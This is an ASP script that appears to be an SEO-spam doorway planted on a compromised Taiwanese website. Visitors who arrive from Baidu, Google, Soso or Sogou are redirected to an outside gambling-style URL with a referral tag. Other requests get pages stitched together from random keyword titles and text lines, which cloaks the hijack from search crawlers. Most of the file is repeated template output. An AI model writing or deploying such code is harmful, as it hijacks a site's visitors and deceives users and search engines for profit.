<% Dim REFERER REFERER = Cstr(Request.ServerVariables("HTTP_REFERER")) If InStr(REFERER,"baidu.com") > 0 Or InStr(REFERER,"google") > 0 Or InStr(REFERER,"soso") > 0 Or InStr(REFERER,"sogou") > 0 Then response.redirect("http://vebet.com/?Intr=14944") end if 'Titleline=a("key.txt") 'Contentline=a("content.txt") Titleline=get_content("D:\www\www.joychief.com.tw\xd.txt") Contentline=get_content("D:\www\www.joychief.com.tw\content.txt") function a(t) set fs=server.createobject("scripting.filesystemobject") file=server.mappath(t) set txt=fs.opentextfile(file,1,true) if not txt.atendofstream then a=txt.ReadAll end if end function Titleline = Split(Titleline,chr(13)) Contentline = split(Contentline,vbcrlf) Function Rand(ByVal min, ByVal max) Randomize(Timer) : Rand = Int((max - min + 1) * Rnd + min) End Function Function randKey(obj) Dim char_array(80) Dim temp ,i For i = 0 To 9 char_array(i) = Cstr(i) Next For i = 10 To 35 char_array(i) = Chr(i + 55) Next For i = 36 To 61 char_array(i) = Chr(i + 61) Next Randomize For i = 1 To obj 'rnd函数返回的随机数在0~1之间，可等于0，但不等于1 '公式：int((上限-下限+1)*Rnd+下限)可取得从下限到上限之间的数，可等于下限但不可等于上限 temp = temp&char_array(int(62 - 0 + 1)*Rnd + 0) Next randKey = temp End Function Function get_content(remote_url) on error resume next Dim oXMLHTTP ' As Object Dim BodyText Set oXMLHTTP = CreateObject("Microsoft.XMLHTTP") oXMLHTTP.open "GET",remote_url,False oXMLHTTP.send BodyText=oXMLHTTP.responsebody BodyText=BytesToBstr(BodyText,"gb2312") Set oXMLHTTP = Nothing if err then response.write "远程获取信息失败:"&err.description else get_content=BodyText end if End Function Function BytesToBstr(body,Cset) dim objstream set objstream = Server.CreateObject("adodb.stream") objstream.Type = 1 objstream.Mode =3 objstream.Open objstream.Write body objstream.Position = 0 objstream.Type = 2 objstream.Charset = Cset BytesToBstr = objstream.ReadText objstream.Close set objstream = nothing End Function Function getCode(iCount) Dim arrChar Dim j,k,strCode arrChar = "0123456789" k=Len(arrChar) Randomize For i=1 to iCount j=Int(k * Rnd )+1 strCode = strCode & Mid(arrChar,j,1) Next getCode = strCode End Function Dim Title1,Title2,Title3,Title4,Title5 Title1 = replace(Titleline(Rand(0,ubound(Titleline))),chr(10),"") Title2 = replace(Titleline(Rand(0,ubound(Titleline))),chr(10),"") Title3 = replace(Titleline(Rand(0,ubound(Titleline))),chr(10),"") Title4 = replace(Titleline(Rand(0,ubound(Titleline))),chr(10),"") Title5 = replace(Titleline(Rand(0,ubound(Titleline))),chr(10),"") %> <%=Title1%> <%=Title2%> <%=Title3%> <%=now()%>
您的位置: 首页 > <%=Title1%> <%=Title2%> <%=Title3%>

<%=Title1%>_<%=Title2%>_<%=Title3%>

<%=now()%> 作者:叶枫o0 我要评论

<%response.write Replace(Contentline(Rand(0,ubound(Contentline))),"{title}",Title1)%> <%response.write Replace(Contentline(Rand(0,ubound(Contentline))),"{title}",Title1)%> <%response.write Replace(Contentline(Rand(0,ubound(Contentline))),"{title}",Title1)%> <%response.write Replace(Contentline(Rand(0,ubound(Contentline))),"{title}",Title1)%> <%response.write Replace(Contentline(Rand(0,ubound(Contentline))),"{title}",Title1)%> <%response.write Replace(Contentline(Rand(0,ubound(Contentline))),"{title}",Title1)%> <%response.write Replace(Contentline(Rand(0,ubound(Contentline))),"{title}",Title1)%> <%=Title1%> <%response.write Replace(Contentline(Rand(0,ubound(Contentline))),"{title}",Title1)%> <%response.write Replace(Contentline(Rand(0,ubound(Contentline))),"{title}",Title1)%> <%response.write Replace(Contentline(Rand(0,ubound(Contentline))),"{title}",Title1)%> <%response.write Replace(Contentline(Rand(0,ubound(Contentline))),"{title}",Title1)%> <%response.write Replace(Contentline(Rand(0,ubound(Contentline))),"{title}",Title1)%> <%response.write Replace(Contentline(Rand(0,ubound(Contentline))),"{title}",Title1)%> <%response.write Replace(Contentline(Rand(0,ubound(Contentline))),"{title}",Title1)%>

<%response.write Replace(Contentline(Rand(0,ubound(Contentline))),"{title}",Title1)%> <%response.write Replace(Contentline(Rand(0,ubound(Contentline))),"{title}",Title1)%> <%response.write Replace(Contentline(Rand(0,ubound(Contentline))),"{title}",Title1)%> <%response.write Replace(Contentline(Rand(0,ubound(Contentline))),"{title}",Title1)%> <%response.write Replace(Contentline(Rand(0,ubound(Contentline))),"{title}",Title1)%> <%response.write Replace(Contentline(Rand(0,ubound(Contentline))),"{title}",Title1)%> <%response.write Replace(Contentline(Rand(0,ubound(Contentline))),"{title}",Title1)%> <%=Title2%> <%response.write Replace(Contentline(Rand(0,ubound(Contentline))),"{title}",Title1)%> <%response.write Replace(Contentline(Rand(0,ubound(Contentline))),"{title}",Title1)%> <%response.write Replace(Contentline(Rand(0,ubound(Contentline))),"{title}",Title1)%> <%response.write Replace(Contentline(Rand(0,ubound(Contentline))),"{title}",Title1)%> <%response.write Replace(Contentline(Rand(0,ubound(Contentline))),"{title}",Title1)%> <%response.write Replace(Contentline(Rand(0,ubound(Contentline))),"{title}",Title1)%> <%response.write Replace(Contentline(Rand(0,ubound(Contentline))),"{title}",Title1)%> <%response.write Replace(Contentline(Rand(0,ubound(Contentline))),"{title}",Title1)%> <%response.write Replace(Contentline(Rand(0,ubound(Contentline))),"{title}",Title1)%> <%response.write Replace(Contentline(Rand(0,ubound(Contentline))),"{title}",Title1)%> <%response.write Replace(Contentline(Rand(0,ubound(Contentline))),"{title}",Title1)%> <%response.write Replace(Contentline(Rand(0,ubound(Contentline))),"{title}",Title1)%> <%response.write Replace(Contentline(Rand(0,ubound(Contentline))),"{title}",Title1)%> <%response.write Replace(Contentline(Rand(0,ubound(Contentline))),"{title}",Title1)%> <%=Title3%> <%response.write Replace(Contentline(Rand(0,ubound(Contentline))),"{title}",Title1)%> <%response.write Replace(Contentline(Rand(0,ubound(Contentline))),"{title}",Title1)%> <%response.write Replace(Contentline(Rand(0,ubound(Contentline))),"{title}",Title1)%> <%response.write Replace(Contentline(Rand(0,ubound(Contentline))),"{title}",Title1)%> <%response.write Replace(Contentline(Rand(0,ubound(Contentline))),"{title}",Title1)%> <%response.write Replace(Contentline(Rand(0,ubound(Contentline))),"{title}",Title1)%> <%response.write Replace(Contentline(Rand(0,ubound(Contentline))),"{title}",Title1)%>